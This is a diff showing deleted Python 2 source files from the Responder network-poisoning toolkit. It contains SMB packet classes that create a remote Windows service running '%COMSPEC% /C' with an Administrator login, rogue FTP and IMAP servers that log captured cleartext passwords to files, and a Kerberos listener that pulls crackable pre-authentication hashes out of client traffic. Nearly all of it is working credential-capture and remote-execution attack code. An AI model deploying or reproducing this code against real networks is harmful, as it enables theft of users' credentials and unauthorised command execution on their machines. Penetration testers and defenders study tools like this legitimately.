("Dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionTreeData(Packet):
fields = OrderedDict([
("Wordcount", "\x0d"),
("AndXCommand", "\x75"),
("Reserved", "\x00" ),
("Andxoffset", "\x7c\x00"),
("Maxbuff","\x04\x11"),
("Maxmpx", "\x32\x00"),
("Vcnum","\x00\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("AnsiPassLength","\x18\x00"),
("UnicodePassLength", "\x00\x00"),
("Reserved2","\x00\x00\x00\x00"),
("Capabilities", "\xd4\x00\x00\x00"),
("Bcc","\x3f\x00"),
("AnsiPasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("UnicodePasswd", "\xe3\xa7\x10\x56\x58\xed\x92\xa1\xea\x9d\x55\xb1\x63\x99\x7f\xbe\x1c\xbd\x6c\x0a\xf8\xef\xb2\x89"),
("Username","Administrator"),
("UsernameTerminator","\x00\x00"),
("Domain","SMB"),
("DomainTerminator","\x00\x00"),
("Nativeos",""),
("NativeosTerminator","\x00\x00"),
("Lanmanager",""),
("LanmanagerTerminator","\x00\x00\x00"),
("Wordcount2","\x04"),
("Andxcmd2","\xff"),
("Reserved3","\x00"),
("Andxoffset2","\x06\x01"),
("Flags","\x08\x00"),
("PasswordLength","\x01\x00"),
("Bcc2","\x19\x00"),
("Passwd","\x00"),
("PrePath","\\\\"),
("Targ", "CSCDSFCS"),
("IPC", "\\IPC$"),
("TerminatorPath","\x00\x00"),
("Service","?????"),
("TerminatorService","\x00"),
])
def calculate(self):
##Convert first
self.fields["Username"] = self.fields["Username"].encode('utf-16be')
self.fields["Domain"] = self.fields["Domain"].encode('utf-16be')
self.fields["Nativeos"] = self.fields["Nativeos"].encode('utf-16be')
self.fields["Lanmanager"] = self.fields["Lanmanager"].encode('utf-16be')
self.fields["PrePath"] = self.fields["PrePath"].encode('utf-16le')
self.fields["Targ"] = self.fields["Targ"].encode('utf-16le')
self.fields["IPC"] = self.fields["IPC"].encode('utf-16le')
##Then calculate
data1= str(self.fields["AnsiPasswd"])+(self.fields["UnicodePasswd"])+str(self.fields["Username"])+str(self.fields["UsernameTerminator"])+str(self.fields["Domain"])+str(self.fields["DomainTerminator"])+str(self.fields["Nativeos"])+str(self.fields["NativeosTerminator"])+str(self.fields["Lanmanager"])+str(self.fields["LanmanagerTerminator"])
data2= str(self.fields["Passwd"])+str(self.fields["PrePath"])+str(self.fields["Targ"])+str(self.fields["IPC"])+str(self.fields["TerminatorPath"])+str(self.fields["Service"])+str(self.fields["TerminatorService"])
self.fields["Bcc"] = struct.pack("<h",len(data1))
self.fields["Bcc2"] = struct.pack("<h",len(data2))
self.fields["Andxoffset"] = struct.pack("<h",len(data1)+32+29)
self.fields["AnsiPassLength"] = struct.pack("<h",len(str(self.fields["AnsiPasswd"])))
self.fields["UnicodePassLength"] = struct.pack("<h",len(str(self.fields["UnicodePasswd"])))
self.fields["PasswordLength"] = struct.pack("<h",len(str(self.fields["Passwd"])))
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
("AccessMask", "\x00\x00\x00\x02"),
("AllocSize", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("FileAttrib", "\x00\x00\x00\x00"),
("ShareAccess", "\x07\x00\x00\x00"),
("Disposition", "\x01\x00\x00\x00"),
("CreateOptions", "\x00\x00\x00\x00"),
("Impersonation", "\x02\x00\x00\x00"),
("SecurityFlags", "\x00"),
("Bcc", "\x08\x00"),
("FileName", "\\svcctl"),
("FileNameNull", "\x00"),
])
def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1))
class SMBReadData(Packet):
fields = OrderedDict([
("Wordcount", "\x0a"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x00\x00"),
("Offset", "\x19\x03\x00\x00"),
("MaxCountLow", "\xed\x01"),
("MinCount", "\xed\x01"),
("Hidden", "\xff\xff\xff\xff"),
("Remaining", "\x00\x00"),
("Bcc", "\x00\x00"),
("Data", ""),
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("FID", "\x06\x40"),
("Offset", "\xea\x03\x00\x00"),
("Reserved2", "\xff\xff\xff\xff"),
("WriteMode", "\x08\x00"),
("Remaining", "\xdc\x02"),
("DataLenHi", "\x00\x00"),
("DataLenLow", "\xdc\x02"),
("DataOffset", "\x3f\x00"),
("HiOffset", "\x00\x00\x00\x00"),
("Bcc", "\xdc\x02"),
("Data", ""),
])
def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBDCEData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0b"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x00\x00\x00\x00"),
("CTXNumber", "\x01"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x00\x00"),
("CTX0ItemNumber", "\x01\x00"),
("CTX0UID", "\x81\xbb\x7a\x36\x44\x98\xf1\x35\xad\x32\x98\xf0\x38\x00\x10\x03"),
("CTX0UIDVersion", "\x02\x00"),
("CTX0UIDVersionlo","\x00\x00"),
("CTX0UIDSyntax", "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60"),
("CTX0UIDSyntaxVer","\x02\x00\x00\x00"),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
class SMBDCEPacketData(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x00"),
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x2c\x02"),
("AuthLen", "\x00\x00"),
("CallID", "\x00\x00\x00\x00"),
("AllocHint", "\x38\x00\x00\x00"),
("ContextID", "\x00\x00"),
("Opnum", "\x0f\x00"),
("Data", ""),
])
def calculate(self):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["Opnum"])+str(self.fields["Data"])
self.fields["FragLen"] = struct.pack("<h",len(Data1))
self.fields["AllocHint"] = struct.pack("<i",len(str(self.fields["Data"])))
class SMBDCESVCCTLOpenManagerW(Packet):
fields = OrderedDict([
("MachineNameRefID", "\xb5\x97\xb9\xbc"),
("MaxCount", "\x0f\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0f\x00\x00\x00"),
("MachineName", "\\\\169.220.1.11"),##This is not taken into consideration.
("MachineNameNull", "\x00\x00\x00\x00"),
("DbPointer", "\x00\x00\x00\x00"),
("AccessMask", "\x3f\x00\x0f\x00"),
])
def calculate(self):
## Convert to UTF-16LE
self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le')
class SMBDCESVCCTLCreateService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", "AyAGaxwLhCP"),
("MachineNameNull", "\x00\x00"),
("ReferentID", "\x9c\xfa\x9a\xc9"),
("MaxCountRefID", "\x11\x00\x00\x00"),
("OffsetID", "\x00\x00\x00\x00"),
("ActualCountRefID", "\x11\x00\x00\x00"),
("DisplayNameID", "DhhUFcsvrfJvLwRq"),
("DisplayNameIDNull", "\x00\x00\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
("ServerType", "\x10\x01\x00\x00"),
("ServiceStartType", "\x03\x00\x00\x00"),
("ServiceErrorCtl", "\x00\x00\x00\x00"),
("BinPathMaxCount", "\xb6\x00\x00\x00"),
("BinPathOffset", "\x00\x00\x00\x00"),
("BinPathActualCount", "\xb6\x00\x00\x00"),
("BinPathName", "%COMSPEC% /C \""),
("BinCMD", ""),
("BintoEnd", "\""),
("BinPathNameNull", "\x00\x00"),
("Nullz", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def calculate(self):
BinDataLen = str(self.fields["BinPathName"])+str(self.fields["BinCMD"])+str(self.fields["BintoEnd"])
## Calculate first
self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
self.fields["BinPathName"] = self.fields["BinPathName"].encode('utf-16le')
self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le')
class SMBDCESVCCTLOpenService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x0c\x00\x00\x00"),
("Offset", "\x00\x00\x00\x00"),
("ActualCount", "\x0c\x00\x00\x00"),
("ServiceName", ""),
("MachineNameNull", "\x00\x00"),
("AccessMask", "\xff\x01\x0f\x00"),
])
def calculate(self):
## Calculate first
self.fields["MaxCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
## Then convert to UTF-16LE, yeah it's weird..
self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
class SMBDCESVCCTLStartService(Packet):
fields = OrderedDict([
("ContextHandle", ""),
("MaxCount", "\x00\x00\x00\x00\x00\x00\x00\x00"),
])
def ParseAnswerKey(data,host):
key = data[73:81]
print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host)
return key
##################################################################################
#SMB Server Stuff
##################################################################################
#Calculate total SMB packet len.
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
#Set MID SMB Header field.
def midcalc(data):
pack=data[34:36]
return pack
#Set UID SMB Header field.
def uidcalc(data):
pack=data[32:34]
return pack
#Set PID SMB Header field.
def pidcalc(data):
pack=data[30:32]
return pack
#Set TID SMB Header field.
def tidcalc(data):
pack=data[28:30]
return pack
#SMB Header answer packet.
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("errorcode", "\x00\x00\x00\x00" ),
("flag1", "\x80"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\xff\xfe"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
#SMB Negotiate Answer packet.
class SMBNegoAns(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("Dialect", ""),
("Securitymode", "\x03"),
("MaxMpx", "\x32\x00"),
("MaxVc", "\x01\x00"),
("Maxbuffsize", "\x04\x11\x00\x00"),
("Maxrawbuff", "\x00\x00\x01\x00"),
("Sessionkey", "\x00\x00\x00\x00"),
("Capabilities", "\xfd\x43\x00\x00"),
("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"),
("Keylength", "\x08"),
("Bcc", "\x10\x00"),
("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"),
("Domain", ""),
])
def calculate(self):
##Then calculate.
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
self.fields["Keylength"] = struct.pack("<h",len(self.fields["Key"]))[0]
# SMB Session/Tree Answer.
class SMBSessTreeAns(Packet):
fields = OrderedDict([
("Wordcount", "\x03"),
("Command", "\x75"),
("Reserved", "\x00"),
("AndXoffset", "\x4e\x00"),
("Action", "\x01\x00"),
("Bcc", "\x25\x00"),
("NativeOs", "Windows 5.1"),
("NativeOsNull", "\x00"),
("NativeLan", "Windows 2000 LAN Manager"),
("NativeLanNull", "\x00"),
("WordcountTree", "\x03"),
("AndXCommand", "\xff"),
("Reserved1", "\x00"),
("AndxOffset", "\x00\x00"),
("OptionalSupport", "\x01\x00"),
("Bcc2", "\x08\x00"),
("Service", "A:"),
("ServiceNull", "\x00"),
("FileSystem", "NTFS"),
("FileSystemNull", "\x00"),
])
def calculate(self):
##AndxOffset
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]#SMB Header is *always* 32.
##BCC 1 and 2
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
class SMBSessEmpty(Packet):
fields = OrderedDict([
("Empty", "\x00\x00\x00"),
])

View file

@ -1,67 +0,0 @@
import socket
import threading
import logging
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.packet import Packet
from core.responder.odict import OrderedDict
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [FTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("FTPserver", formatter)
class FTPserver():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
t = threading.Thread(name="FTPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception, e:
log.error("Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class FTPPacket(Packet):
fields = OrderedDict([
("Code", "220"),
("Separator", "\x20"),
("Message", "Welcome"),
("Terminator", "\x0d\x0a"),
])
#FTP server class.
class FTP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(FTPPacket()))
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
log.info('{} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t))
data = self.request.recv(1024)
if data[0:4] == "PASS":
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
log.info('{} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t))
data = self.request.recv(1024)
else :
t = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(t))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

View file

@ -1,42 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
#IMAP4 Greating class
class IMAPGreating(Packet):
fields = OrderedDict([
("Code", "* OK IMAP4 service is ready."),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapability(Packet):
fields = OrderedDict([
("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"),
("CRLF", "\r\n"),
])
#IMAP4 Capability class
class IMAPCapabilityEnd(Packet):
fields = OrderedDict([
("Tag", ""),
("Message", " OK CAPABILITY completed."),
("CRLF", "\r\n"),
])

View file

@ -1,53 +0,0 @@
import logging
import threading
from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
from IMAPPackets import *
from core.responder.common import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [IMAPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("IMAPserver", formatter)
class IMAPserver():
def start(self):
try:
log.debug("online")
server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
t = threading.Thread(name="IMAPserver", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
#ESMTP server class.
class IMAP(BaseRequestHandler):
def handle(self):
try:
self.request.send(str(IMAPGreating()))
data = self.request.recv(1024)
if data[5:15] == "CAPABILITY":
RequestTag = data[0:4]
self.request.send(str(IMAPCapability()))
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
data = self.request.recv(1024)
if data[5:10] == "LOGIN":
Credentials = data[10:].strip()
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
log.info('IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024)
except Exception as e:
log.error("Error handling request: {}".format(e))

View file

@ -1,157 +0,0 @@
import socket
import threading
import struct
import logging
from core.logger import logger
from SocketServer import UDPServer, TCPServer, ThreadingMixIn, BaseRequestHandler
formatter = logging.Formatter("%(asctime)s [KERBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("KERBserver", formatter)
class KERBserver():
def serve_thread_udp(self, host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server.serve_forever()
except Exception as e:
log.debug("Error starting UDP server on port 88: {}:".format(e))
def serve_thread_tcp(self, host, port, handler):
try:
server = ThreadingTCPServer((host, port), handler)
server.serve_forever()
except Exception as e:
log.debug("Error starting TCP server on port 88: {}:".format(e))
def start(self):
log.debug("online")
t1 = threading.Thread(name="KERBserverUDP", target=self.serve_thread_udp, args=("0.0.0.0", 88,KerbUDP))
t2 = threading.Thread(name="KERBserverTCP", target=self.serve_thread_tcp, args=("0.0.0.0", 88, KerbTCP))
for t in [t1,t2]:
t.setDaemon(True)
t.start()
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
allow_reuse_address = 1
def server_bind(self):
TCPServer.server_bind(self)
class KerbTCP(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
KerbHash = ParseMSKerbv5TCP(data)
if KerbHash:
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise
class KerbUDP(BaseRequestHandler):
def handle(self):
try:
data, soc = self.request
KerbHash = ParseMSKerbv5UDP(data)
if KerbHash:
log.info('MSKerbv5 complete hash is: {}'.format(KerbHash))
except Exception:
raise
def ParseMSKerbv5TCP(Data):
MsgType = Data[21:22]
EncType = Data[43:44]
MessageType = Data[32:33]
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[50:51])[0]
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[153:154])[0]
Name = Data[154:154+NameLen]
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[45:46])[0]
if HashLen == 53:
Hash = Data[48:99]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[147:148])[0]
Name = Data[148:148+NameLen]
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 54:
Hash = Data[53:105]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[48:100]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[148:149])[0]
Name = Data[149:149+NameLen]
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False
def ParseMSKerbv5UDP(Data):
MsgType = Data[17:18]
EncType = Data[39:40]
if MsgType == "\x0a" and EncType == "\x17":
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
HashLen = struct.unpack('<b',Data[41:42])[0]
if HashLen == 54:
Hash = Data[44:96]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[144:145])[0]
Name = Data[145:145+NameLen]
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
if HashLen == 53:
Hash = Data[44:95]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[143:144])[0]
Name = Data[144:144+NameLen]
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
Hash = Data[49:101]
SwitchHash = Hash[16:]+Hash[0:16]
NameLen = struct.unpack('<b',Data[149:150])[0]
Name = Data[150:150+NameLen]
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
return BuildHash
else:
return False

View file

@ -1,224 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLen", "\x0c"),
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x0f"),
("OpHeadASNID", "\x65"),
("OpHeadASNIDLen", "\x07"),
("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results.
])
class LDAPSearchSupportedCapabilitiesPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x15"),#21
("SearchAttribASN2Str", "supportedCapabilities"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x4a"),
("SearchAttrib1ASNID", "\x04"),
("SearchAttrib1ASNLen", "\x16"),#22
("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"),
("SearchAttrib2ASNID", "\x04"),
("SearchAttrib2ASNLen", "\x17"),#23
("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"),
("SearchAttrib3ASNID", "\x04"),
("SearchAttrib3ASNLen", "\x17"),#23
("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"),
("SearchDoneASNID", "\x30"),
("SearchDoneASNLenOfLen", "\x84"),
("SearchDoneASNLen", "\x00\x00\x00\x10"),#16
("MessageIDASN2ID", "\x02"),
("MessageIDASN2Len", "\x01"),
("MessageIDASN2Str", "\x02"),
("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"),
## No need to calculate anything this time, this packet is generic.
])
class LDAPSearchSupportedMechanismsPacket(Packet):
fields = OrderedDict([
("ParserHeadASNID", "\x30"),
("ParserHeadASNLenOfLen", "\x84"),
("ParserHeadASNLen", "\x00\x00\x00\x60"),#96
("MessageIDASNID", "\x02"),
("MessageIDASNLen", "\x01"),
("MessageIDASNStr", "\x02"),
("OpHeadASNID", "\x64"),
("OpHeadASNIDLenOfLen", "\x84"),
("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87
("ObjectName", "\x04\x00"),
("SearchAttribASNID", "\x30"),
("SearchAttribASNLenOfLen", "\x84"),
("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79
("SearchAttribASNID1", "\x30"),
("SearchAttribASN1LenOfLen", "\x84"),
("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73
("SearchAttribASN2ID", "\x04"),
("SearchAttribASN2Len", "\x17"),#23
("SearchAttribASN2Str", "supportedSASLMechanisms"),
("SearchAttribASN3ID", "\x31"),
("SearchAttribASN3LenOfLen", "\x84"),
("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42
